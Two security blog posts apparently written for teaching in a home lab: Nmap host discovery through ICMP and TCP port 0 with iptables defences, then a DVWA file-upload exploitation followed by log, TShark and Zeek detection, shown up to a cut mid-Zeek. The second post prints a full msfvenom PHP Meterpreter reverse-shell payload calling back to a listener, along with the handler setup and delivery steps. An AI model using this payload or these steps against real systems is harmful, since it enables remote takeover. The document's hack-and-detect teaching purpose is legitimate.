Wednesday, January 31, 2024

Knock! Knock!! Anyone There? - Reconnaissance and Defense

In a recent session with our team as part of our MDR Wednesdays program, we were discussing reconnaissance and the usage of port 0. Not surprisingly, quite a few persons were surprised to hear about port 0 and its usage in reconnaissance. This blog post is meant as an additional resource, to aid the understanding. 

One of the first steps, any threat actor will perform in any attack, is reconnaissance. It is the first column in the MITRE ATT&CK Framework and similarly, it is the first task in the Cyber Kill Chain. That is how important this task is.  This post is more around that "active" reconnaissance. To learn more about "passive" reconnaissance, see this link.

Additionally, to make this more realistic, we will use the world's most popular network scanning/mapping tool Nmap. 

Now let's be clear, if you are in an enterprise, I expect you have a security team and firewalls deployed to prevent some of these reconnaissance measures. At the same time, it is quite possible you are in an enterprise but have misconfigured firewalls. Who knows! If you are in a small business with no security team, I would not be surprised if you have not mitigated these reconnaissance measures.

Enough talking and let's get going. Before getting to why a threat actor may target port 0, let's start off with the regular reconnaissance.

 ________________		_______________
| THREAT ACTOR 	|              |     TARGET   |
| 10.0.0.110    | --------->>> |   10.0.0.100 |
|_______________|	       |______________|

Starting with the traditional "ping". Running Nmap with the -PE option, we see from Nmap

┌──(kali㉿securitynik)-[~]
└─$ sudo Nmap --send-ip -n 10.0.0.100 -sn -PE
Starting Nmap 7.94SVN ( https://Nmap.org ) at 2024-01-30 22:30 EST

Nmap scan report for 10.0.0.100
Host is up (0.00091s latency).
MAC Address: 00:0C:29:A2:BB:D7 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.26 seconds

How does Nmap knows the host is up? Well if we look at tcpdump, output on the TARGET we see the following.

securitynik@seruritynik-srv:~$ sudo tcpdump -nnti ens33 'host 10.0.0.110 and icmp'
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), snapshot length 262144 bytes
IP 10.0.0.110 > 10.0.0.100: ICMP echo request, id 59426, seq 0, length 8
IP 10.0.0.100 > 10.0.0.110: ICMP echo reply, id 59426, seq 0, length 8

As you can see from above, the echo request had an echo reply. Let's now go ahead and block these ICMP echo request on the firewall to prevent this type of reconnaissance.

securitynik@seruritynik-srv:~$ sudo iptables --table filter --append INPUT --proto icmp --in-interface ens33  --icmp-type 8/0 --jump DROP

The command above DROPs the packet. Note this is specific to ICMP Echo Request. Hence, the system will not respond with an ICMP Echo Reply.

Let's run Nmap again.

┌──(kali㉿securitynik)-[~]
└─$ sudo Nmap --send-ip -n 10.0.0.100 -sn -PE
Starting Nmap 7.94SVN ( https://Nmap.org ) at 2024-01-30 22:47 EST
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 2.08 seconds

Now Nmap is reporting 0 host up. Let's see what was seen via tcpdump on the target.

securitynik@seruritynik-srv:~$ sudo tcpdump -nnti ens33 'host 10.0.0.110 and icmp'
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), snapshot length 262144 bytes
IP 10.0.0.110 > 10.0.0.100: ICMP echo request, id 55102, seq 0, length 8
IP 10.0.0.110 > 10.0.0.100: ICMP echo request, id 16092, seq 0, length 8

Great, we see that even though the ICMP Echo Request came in, there was no ICMP Echo Reply. Hence the reason why Nmap reported the host is not up.

Confirming the firewall dropped this traffic.

securitynik@seruritynik-srv:~$ sudo iptables --list INPUT --numeric --verbose
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination
    2    56 DROP       icmp --  ens33  *       0.0.0.0/0            0.0.0.0/0            icmptype 8 code 0

So we confirmed the firewall is now dropping this traffic. Great! But guess what, if you looked at Nmap manpage, you see there are other techniques available to target ICMP. Let's go ahead with another.

This time, we try the Timestamp Request method.

┌──(kali㉿securitynik)-[~]
└─$ sudo Nmap --send-ip -n 10.0.0.100 -sn -PP
Starting Nmap 7.94SVN ( https://Nmap.org ) at 2024-01-30 22:59 EST
Nmap scan report for 10.0.0.100
Host is up (0.00072s latency).
MAC Address: 00:0C:29:A2:BB:D7 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.14 seconds

We see that the host is once again reported as up. We can also verify what Nmap received by looking at the target.

securitynik@seruritynik-srv:~$ sudo tcpdump -nnti ens33 'host 10.0.0.110 and icmp'
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), snapshot length 262144 bytes
IP 10.0.0.110 > 10.0.0.100: ICMP time stamp query id 7808 seq 0, length 20
IP 10.0.0.100 > 10.0.0.110: ICMP time stamp reply id 7808 seq 0: org 00:00:00.000, recv 03:59:38.965, xmit 03:59:38.965, length 20

Great, so the pings we blocked did not prevent the ICMP reconnaissance so far. Let's now go ahead and block the Timestamp Request.

securitynik@seruritynik-srv:~$ sudo iptables --table filter --append INPUT --proto icmp --in-interface ens33  --icmp-type 13/0 --jump DROP

Trying the Timestamp reconnaissance again. 

┌──(kali㉿securitynik)-[~]
└─$ sudo Nmap --send-ip -n 10.0.0.100 -sn -PP
Starting Nmap 7.94SVN ( https://Nmap.org ) at 2024-01-30 23:03 EST
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 2.08 seconds

Great, we seem to block this one also, as Nmap is once again reporting 0 host up.

Let's confirm at our firewall.

securitynik@seruritynik-srv:~$ sudo iptables --list INPUT --numeric --verbose
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination
    2    56 DROP       icmp --  ens33  *       0.0.0.0/0            0.0.0.0/0            icmptype 8 code 0
    2    80 DROP       icmp --  ens33  *       0.0.0.0/0            0.0.0.0/0            icmptype 13 code 0

Great we are now blocking the Timestamp request. But Nmap also have the netmask request discovery. Let's try the last of these Nmap methods.

┌──(kali㉿securitynik)-[~]
└─$ sudo Nmap --send-ip -n 10.0.0.100 -sn -PM
Starting Nmap 7.94SVN ( https://Nmap.org ) at 2024-01-30 23:07 EST
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 2.07 seconds

Ooops! Nmap is reporting 0 host up. How could this be? We did not block this traffic. Let us see what the target host sees.

securitynik@seruritynik-srv:~$ sudo tcpdump -nnti ens33 'host 10.0.0.110 and icmp'
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), snapshot length 262144 bytes
IP 10.0.0.110 > 10.0.0.100: ICMP address mask request, length 12
IP 10.0.0.110 > 10.0.0.100: ICMP address mask request, length 12

Well the host sees the request but there is no response. Why is this so? Well fortunately, in this case, there is nothing for us to do as this method seems to have been deprecated based on RFC 6918 sections 2.4 and 2.5. 

However, a threat actor can try other mechanisms, such as specifically crafting a packet using scapy. Do keep in mind, there are a lot of these ICMP types and codes that have been deprecated, but depending on the system being targeted (older system?, IoT device?) some of these techniques may still succeed.

Now just to be clear, I only went through blocking those individual types for learning experience. The reality is, we could have done one line to block all ICMP, such as below.

securitynik@seruritynik-srv:~$ sudo iptables --table filter --append INPUT --proto icmp --in-interface ens33 --jump DROP
securitynik@seruritynik-srv:~$ sudo iptables --list INPUT --numeric --verbose
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination
    0     0 DROP       icmp --  ens33  *       0.0.0.0/0            0.0.0.0/0

If we run the commands above again all should be blocked. You should then see something such as below in your firewall table.

securitynik@seruritynik-srv:~$ sudo iptables --list INPUT --numeric --verbose
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination
    6   200 DROP       icmp --  ens33  *       0.0.0.0/0            0.0.0.0/0

Ok. Now we have completed the initial part of understanding why we need to get to port 0.

Here we go! The firewall is blocking all ICMP traffic. However, we are still interested in simply knowing if the host is up. Let's figure that out.

First things first, there should never be any service running on port 0. For example, if we run netstat or in my case below ss, we see on this host:

securitynik@seruritynik-srv:~$ sudo ss --numeric --listening --tcp
State          Recv-Q         Send-Q                 Local Address:Port                    Peer Address:Port         Process
LISTEN         0              4096                         0.0.0.0:27017                        0.0.0.0:*
LISTEN         0              4096                   127.0.0.53%lo:53                           0.0.0.0:*
LISTEN         0              128                          0.0.0.0:22                           0.0.0.0:*
LISTEN         0              244                          0.0.0.0:5432                         0.0.0.0:*
LISTEN         0              128                             [::]:22                              [::]:*
LISTEN         0              244                             [::]:5432                            [::]:*

There is no port 0. So once again, why would an attacker port 0? Let's run Nmap to figure it out.

┌──(kali㉿securitynik)-[~]
└─$ sudo nmap --send-ip -n 10.0.0.100 -Pn -p 0 --reason
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-30 23:27 EST
Nmap scan report for 10.0.0.100

Host is up, received user-set (0.00052s latency).

PORT  STATE  SERVICE REASON
0/tcp closed unknown reset ttl 64
MAC Address: 00:0C:29:A2:BB:D7 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.20 seconds

We see above Nmap is reporting 1 host up. We also see the reason it knows the host is up, is because it got a "reset". We can confirm at the target host that it did send a reset message.

securitynik@seruritynik-srv:~$ sudo tcpdump -nnti ens33 'host 10.0.0.110 and port 0'

tcpdump: verbose output suppressed, use -v[v]... for full protocol decode

listening on ens33, link-type EN10MB (Ethernet), snapshot length 262144 bytes
IP 10.0.0.110.61475 > 10.0.0.100.0: Flags [S], seq 1785192689, win 1024, options [mss 1460], length 0
IP 10.0.0.100.0 > 10.0.0.110.61475: Flags [R.], seq 0, ack 1785192690, win 0, length 0

So what was the objective above? Even though we block the ICMP messages, from a reconnaissance perspective, the threat actor could target port 0, just to illicit this [R.] message. This confirms the host is online and hence the threat actor would have achieved the same objective as if he or she had pinged the host and got a response.

Let's close this off by blocking traffic coming in to port 0.

securitynik@seruritynik-srv:~$ sudo iptables --table filter --append INPUT --proto tcp --dport 0 --in-interface ens33 --jump DROP

Run the scan again

┌──(kali㉿securitynik)-[~]
└─$ sudo nmap --send-ip -n 10.0.0.100 -Pn -p 0 --reason
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-30 23:32 EST
Nmap scan report for 10.0.0.100

Host is up, received user-set.

PORT  STATE    SERVICE REASON
0/tcp filtered unknown no-response

Nmap done: 1 IP address (1 host up) scanned in 2.10 seconds

Now I find it strange above, that the REASON given is no-response but yet still Nmap is reporting 1 host is up. I take it this has to do with ARP. See the reference section for a discussion on this scenario. However, if you have a clearer answer, let me know.

If we look at the host, we can see the SYNs came in but no [R.] was sent.

securitynik@seruritynik-srv:~$ sudo tcpdump -nnti ens33 'host 10.0.0.110 and port 0'
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), snapshot length 262144 bytes
IP 10.0.0.110.46295 > 10.0.0.100.0: Flags [S], seq 11534259, win 1024, options [mss 1460], length 0
IP 10.0.0.110.46297 > 10.0.0.100.0: Flags [S], seq 11403185, win 1024, options [mss 1460], length 0
IP 10.0.0.110.39645 > 10.0.0.100.0: Flags [S], seq 465318364, win 1024, options [mss 1460], length 0
IP 10.0.0.110.39647 > 10.0.0.100.0: Flags [S], seq 465449438, win 1024, options [mss 1460], length 0
IP 10.0.0.110.65137 > 10.0.0.100.0: Flags [S], seq 899162038, win 1024, options [mss 1460], length 0
IP 10.0.0.110.65139 > 10.0.0.100.0: Flags [S], seq 899293108, win 1024, options [mss 1460], length 0

We also see the firewall is dropping the Port 0 packets as while the SYN came in, there is no RST ACK.

I decided to try another trick, just in case for some strange reason the RST was being generated and I was not seeing it. This time, I configured the firewall to prevent the RST from leaving the device. 

securitynik@seruritynik-srv:~$ sudo iptables --table filter --append OUTPUT --proto tcp --dport 0 --tcp-flags RST RST --out-interface ens33 --jump DROP

When I rerun the attack, targeting port 0, the output is basically the same. No RST. Which is what I expected because I blocked the port earlier.

securitynik@seruritynik-srv:~$ sudo tcpdump -nnti ens33 'host 10.0.0.110 and port 0'
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), snapshot length 262144 bytes
IP 10.0.0.110.64965 > 10.0.0.100.0: Flags [S], seq 1541258948, win 1024, options [mss 1460], length 0
IP 10.0.0.110.64967 > 10.0.0.100.0: Flags [S], seq 1541390022, win 1024, options [mss 1460], length 0

Peaking into the firewall to see if any RST was generated and prevented from leaving, we see:

securitynik@seruritynik-srv:~$ sudo iptables --list OUTPUT --numeric --verbose
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination
    0     0 DROP       tcp  --  *      ens33   0.0.0.0/0            0.0.0.0/0            tcp dpt:0 flags:0x04/0x04

Basically, the RST was not even generated and thus no opportunity to even be dropped.

Ok. I think we address the learnings for this example. No need to do anything else with this. 

Main takeaway? Other than pings, threat actors can identify whether a host is live or not by using some seemingly simple reconnaissance techniques. We covered a few in this post. However, there are many more you can try on your own.


References:
Internet Control Message Protocol - Wikipedia
RFC 6918: Formally Deprecating Some ICMPv4 Message Types (rfc-editor.org)
Internet Control Message Protocol (ICMP) Parameters (iana.org)
Why I recived user-set on my Nmap analyze? - Information Security Stack Exchange
Learning by practicing: Stimulus and response revisited (securitynik.com)
MITRE ATT&CK®
Cyber Kill Chain® | Lockheed Martin
Learning by practicing: The importance of reconnaissance to the targeted threat actor (securitynik.com)
nmap(1) - Linux man page (die.net)
Learning by practicing: Building your own TCP 3-way handshake – Packet Crafting – The Scapy Way (securitynik.com)

Tuesday, December 12, 2023

Beginning Nikto - File Upload Vulnerability testing

This post is part of the series of learning more about Nikto and web application scanning from the perspectives of both the hack and its detection

From the hacking perspective, Nikto is the tool used. From detection perspective, the tools and or processed used for the network forensics are log analysis, TShark, Zeek and Suricata. 


The Hack - Beginning Nikto - File Upload Vulnerability testing

Trying a different scan by providing the entire URL

┌──(kali㉿securitynik)-[~/nikto_stuff/tuning_0]
└─$ nikto -host http://10.0.0.106/dvwa/vulnerabilities/upload/ -ipv4 -Display 1 --ask no - -nossl -no404 -Tuning 0  

Nothing much changed from what you saw in the earlier posts. Manually performing the exploit.

In this case, I'm transitioning to the manual exploitation of the file Upload vulnerability.

Visit the file upload page within DVWA.














Open the browser "Web Developer Tools" and select the "Network" tab. 

Upload the file via the web application and we see the file successfully uploaded.








The upload also confirms the location the file was uploaded to "./../hackable/uploads/hack_and_detect.png succesfully uploaded!". This looks like two directories down from the current directory.

Revisiting the "Web Developer Tools", extracting a few lines of interest. First from the request:

Headers tab:
	** 
	scheme: http
	host: 10.0.0.106
	filename: /dvwa/vulnerabilities/upload/


Request tab:
	-----------------------------12554550258851086011705289877
	Content-Disposition: form-data; name="MAX_FILE_SIZE"

	100000
	-----------------------------12554550258851086011705289877
	Content-Disposition: form-data; name="uploaded"; filename="hack_and_detect.png"
	Content-Type: image/png

	‰PNG
	
	...
	0çJ3ÄÉæ}›6œý×
	...
	-----------------------------12554550258851086011705289877
	Content-Disposition: form-data; name="Upload"

	Upload
	-----------------------------12554550258851086011705289877--


Looking at "Response" tab:

../../hackable/uploads/hack_and_detect.png succesfully uploaded!

With this in place, can we use curl to get this file?

┌──(kali㉿securitynik)-[~/file_upload]
└─$ curl --request GET "http://10.0.0.106/dvwa/hackable/uploads/hack_and_detect.png" --output /tmp/hack_and_detect.png
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 64493  100 64493    0     0  7641k      0 --:--:-- --:--:-- --:--:-- 7872k

Verify the file was downloaded and its size:

┌──(kali㉿securitynik)-[~/file_upload]
└─$ ls /tmp/hack_and_detect.png  -l
-rw-r--r-- 1 kali kali 64493 Jun 22 15:25 /tmp/hack_and_detect.png

Open the file with "feh"




















With confirmation that the file is in place, this means we may be able to upload other files.

Leveraging msfvenom to create a malicious PHP file.

┌──(kali㉿securitynik)-[/tmp]
└─$ msfvenom --payload php/meterpreter/reverse_tcp LHOST=10.0.0.108 LPORT=9999 --format raw --out malicious.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload
Payload size: 1111 bytes
Saved as: malicious.php

View the created code

┌──(kali㉿securitynik)-[/tmp]
└─$ cat malicious.php 
/*<?php /**/ error_reporting(0); $ip = '10.0.0.108'; $port = 9999; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

Upload the malicious .php file, using the same process we did for the other files.

Setup a resource file using the multi-handler to load with msfconsole.

┌──(kali㉿securitynik)-[~]
└─$ cat dvwa.rc 
#File Upload Vulnerability
use exploit/multi/handler
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 10.0.0.108
set LPORT 9999
exploit

Load up the resource file with msfconsole

┌──(kali㉿securitynik)-[~]
└─$ msfconsole --quiet --resource dvwa.rc 
[*] Processing dvwa.rc for ERB directives.
resource (dvwa.rc)> use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
resource (dvwa.rc)> set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
resource (dvwa.rc)> set LHOST 10.0.0.108
LHOST => 10.0.0.108
resource (dvwa.rc)> set LPORT 9999
LPORT => 9999
resource (dvwa.rc)> exploit
[*] Started reverse TCP handler on 10.0.0.108:9999 

Use curl to access the malicious.php file.

┌──(kali㉿securitynik)-[~]
└─$ curl --request GET http://10.0.0.106/dvwa/hackable/uploads/malicious.php

At this point, curl hangs and the MSF handler opens a session.

[*] Sending stage (39927 bytes) to 10.0.0.106
[*] Meterpreter session 1 opened (10.0.0.108:9999 -> 10.0.0.106:49786) at 2023-06-22 15:29:04 -0400

Validate we have successfully gained access to the system.

meterpreter > sysinfo 
Computer    : NIK-WIN-10
OS          : Windows NT NIK-WIN-10 10.0 build 19044 (Windows 10) AMD64
Meterpreter : php/windows

While we can do more, there is no need for this at this point. Objective achieved!

Exit Meterpreter:

meterpreter > exit -j
[*] Shutting down Meterpreter...

Transitioning to log analysis.

Detect - Log Analysis

Looking at the HTTP access.log file, there is nothing standing out here. Realistically, the only question to be asked here is if files should have been able to access from "/dvwa/hackable/uploads". Other than that, there is nothing here that stands out to me to suggest there was a problem.

10.0.0.108 - - [22/Jun/2023:15:23:33 -0400] "POST /dvwa/vulnerabilities/upload/ HTTP/1.1" 200 4061 "http://10.0.0.106/dvwa/vulnerabilities/upload/" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
10.0.0.108 - - [22/Jun/2023:15:24:42 -0400] "GET /dvwa//hackable/uploads/hack_and_detect.png HTTP/1.1" 200 64493 "-" "curl/7.88.1"
10.0.0.108 - - [22/Jun/2023:15:26:45 -0400] "POST /dvwa/vulnerabilities/upload/ HTTP/1.1" 200 4055 "http://10.0.0.106/dvwa/vulnerabilities/upload/" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
10.0.0.108 - - [22/Jun/2023:15:28:29 -0400] "GET /dvwa/hackable/uploads/malicious.php HTTP/1.1" 200 2 "-" "curl/7.88.1"

Transitioning to packet analysis

Detect - Packet Analysis

Setup for packet analysis. Capture packets on ports 80,443 or 9999

┌──(kali㉿securitynik)-[~/file_upload]
└─$ tshark -n -w ./file_upload.pcap -f 'tcp port(80 or 443 or 9999)' --interface eth0                                           
Capturing on 'eth0'
 ** (tshark:213735) 14:10:39.726904 [Main MESSAGE] -- Capture started.
 ** (tshark:213735) 14:10:39.726964 [Main MESSAGE] -- File: "./file_upload.pcap"

Analyzing the PCAP. No noeed to go through the entire process. We've done a lot of the heavy lifting in the earlier posts. Hence building on what was done before.

How many unique streams/sessions do we have in this PCAP.

┌──(kali㉿securitynik)-[~/file_upload]
└─$ tshark -n -r file_upload.pcap -T fields -e tcp.stream | sort --unique | wc --lines
5

With 5 streams, we should be able to quickly analyze these. Starting with stream 0.

Looking at the first 30 lines of the reassembled TCP stream.

┌──(kali㉿securitynik)-[~/file_upload]
└─$ tshark -n -r file_upload.pcap -q -z follow,tcp,ascii,0 | head --lines=30

===================================================================
Follow: tcp,ascii
Filter: tcp.stream eq 0
Node 0: 10.0.0.108:55686
Node 1: 10.0.0.106:80
1460
POST /dvwa/vulnerabilities/upload/ HTTP/1.1
Host: 10.0.0.106
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------40506030756611040921021496595
Content-Length: 64966
Origin: http://10.0.0.106
Connection: keep-alive
Referer: http://10.0.0.106/dvwa/vulnerabilities/upload/
Cookie: security=low; PHPSESSID=i16a2p6b95up7nrnbi3foov7bf
Upgrade-Insecure-Requests: 1

-----------------------------40506030756611040921021496595
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
-----------------------------40506030756611040921021496595
Content-Disposition: form-data; name="uploaded"; filename="hack_and_detect.png"
Content-Type: image/png

.PNG

We see above, the file which was uploaded have a name of "hack_and_detect.png" and it's a .PNG image file as can be seen from "Content-Type: image/png".

Was this file upload successful? Looking for any report of the file name being successfully uploaded.

┌──(kali㉿securitynik)-[~/file_upload]
└─$ tshark -n -r file_upload.pcap -q -z follow,tcp,ascii,0 | grep "hack_and_detect"
Content-Disposition: form-data; name="uploaded"; filename="hack_and_detect.png"
..<pre>../../hackable/uploads/hack_and_detect.png succesfully uploaded!</pre>

Let's see what is in stream 1.

┌──(kali㉿securitynik)-[~/file_upload]
└─$ tshark -n -r file_upload.pcap -q -z follow,tcp,ascii,1 | head --lines=25

===================================================================
Follow: tcp,ascii
Filter: tcp.stream eq 1
Node 0: 10.0.0.108:55814
Node 1: 10.0.0.106:80
116
GET /dvwa//hackable/uploads/hack_and_detect.png HTTP/1.1
Host: 10.0.0.106
User-Agent: curl/7.88.1
Accept: */*


        1460
HTTP/1.1 200 OK
Date: Thu, 22 Jun 2023 19:24:42 GMT
Server: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
Last-Modified: Thu, 22 Jun 2023 19:23:33 GMT
ETag: "fbed-5febcd1f850e8"
Accept-Ranges: bytes
Content-Length: 64493
Content-Type: image/png

.PNG

Above looks like a request was made for the same image, which was previously uploaded.

Looking at stream 2

┌──(kali㉿securitynik)-[~/file_upload]
└─$ tshark -n -r file_upload.pcap -q -z follow,tcp,ascii,2 | head --lines=33

===================================================================
Follow: tcp,ascii
Filter: tcp.stream eq 2
Node 0: 10.0.0.108:47986
Node 1: 10.0.0.106:80
1460
POST /dvwa/vulnerabilities/upload/ HTTP/1.1
Host: 10.0.0.106
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------3215483674970812347988844840
Content-Length: 1582
Origin: http://10.0.0.106
Connection: keep-alive
Referer: http://10.0.0.106/dvwa/vulnerabilities/upload/
Cookie: security=low; PHPSESSID=i16a2p6b95up7nrnbi3foov7bf
Upgrade-Insecure-Requests: 1

-----------------------------3215483674970812347988844840
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
-----------------------------3215483674970812347988844840
Content-Disposition: form-data; name="uploaded"; filename="malicious.php"
Content-Type: application/x-php

/*<?php /**/ error_reporting(0); $ip = '10.0.0.108'; $port = 9999; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_ty
752
pe) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
-----------------------------3215483674970812347988844840

There we see a php file was uploaded. Was the upload successful?

┌──(kali㉿securitynik)-[~/file_upload]
└─$ tshark -n -r file_upload.pcap -q -z follow,tcp,ascii,2 | grep "malicious.php"
Content-Disposition: form-data; name="uploaded"; filename="malicious.php"
..<pre>../../hackable/uploads/malicious.php succesfully uploaded!</pre>

Yes it was. Moving on to stream 3.

┌──(kali㉿securitynik)-[~/file_upload]
└─$ tshark -n -r file_upload.pcap -q -z follow,tcp,ascii,3 

===================================================================
Follow: tcp,ascii
Filter: tcp.stream eq 3
Node 0: 10.0.0.108:33048
Node 1: 10.0.0.106:80
109
GET /dvwa/hackable/uploads/malicious.php HTTP/1.1
Host: 10.0.0.106
User-Agent: curl/7.88.1
Accept: */*


        214
HTTP/1.1 200 OK
Date: Thu, 22 Jun 2023 19:28:29 GMT
Server: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
X-Powered-By: PHP/8.0.28
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

2
/*

        5
0


===================================================================

Stream 3 seems to be just the request for the malicious.php file using curl but not much details in side the response. Very interesting.

Looking at stream 4.

┌──(kali㉿securitynik)-[~/file_upload]
└─$ tshark -n -r file_upload.pcap -q -z follow,tcp,ascii,4 | more                                                                    

===================================================================
Follow: tcp,ascii
Filter: tcp.stream eq 4
Node 0: 10.0.0.106:49786
Node 1: 10.0.0.108:9999
        4
....
        1460
/*<?php /**/





if (!isset($GLOBALS['channels'])) {
  $GLOBALS['channels'] = array();
}
....

We see something here to do with .php. Looking further in the payload we ultimately see.

┌──(kali㉿securitynik)-[~/file_upload]
└─$ tshark -n -r file_upload.pcap -q -z follow,tcp,ascii,4 | grep meter
my_print("Evaling main meterpreter stage");

That's a big clue that we have a real problem here on port 9999.

At this point, we know there are a number of files within these HTTP sessions. Fortunately, TShark can extract content from HTTP so we don't have to manually attempt to carve any of these. Let's extract those files with TShark.

Looking at the help, we see the TShark --export-objects usage.

┌──(kali㉿securitynik)-[~/file_upload]
└─$ tshark --export-objects --help 
tshark: "--export-objects" are specified as: <protocol>,<destdir>
tshark: The available export object types for the "--export-objects" option are:
     dicom
     ftp-data
     http
     imf
     smb
     tftp

Exporting from HTTP.

┌──(kali㉿securitynik)-[~/file_upload]
└─$ tshark -n -r file_upload.pcap -q --export-objects http,./exported-contents/

Looking at the exported contents we see:

┌──(kali㉿securitynik)-[~/file_upload]
└─$ ls -l exported-contents/
total 144
-rw-r--r-- 1 kali kali 64493 Jun 23 08:31  hack_and_detect.png
-rw-r--r-- 1 kali kali     2 Jun 23 08:31  malicious.php
-rw-r--r-- 1 kali kali 64966 Jun 23 08:31  upload
-rw-r--r-- 1 kali kali  4061 Jun 23 08:31 'upload(1)'
-rw-r--r-- 1 kali kali  1582 Jun 23 08:31 'upload(2)'
-rw-r--r-- 1 kali kali  4055 Jun 23 08:31 'upload(3)'

Confirming the files using the file command.

┌──(kali㉿securitynik)-[~/file_upload]
└─$ file exported-contents/*
exported-contents/hack_and_detect.png: PNG image data, 178 x 127, 8-bit/color RGBA, non-interlaced
exported-contents/malicious.php:       ASCII text, with no line terminators
exported-contents/upload:              data
exported-contents/upload(1):           HTML document, ASCII text, with very long lines (472), with CRLF, LF line terminators
exported-contents/upload(2):           ASCII text, with very long lines (1111), with CRLF line terminators
exported-contents/upload(3):           HTML document, ASCII text, with very long lines (472), with CRLF, LF line terminators

At this point, you can analyze the file as needed. I will transition to Zeek to see what is saw.

Detect - Zeek Analysis

Setup Zeek

┌──(kali㉿securitynik)-[~/nikto_stuff/zeek_stuff]
└─$ sudo zeek --iface any --no-checksums

Focusing on the indicators of compromise, "hack_and_detect.png" and "malicious.php". First "hack_and_detect.png"

└─$ cat http.log | grep --perl-regexp "hack_and_detect"                                                                              
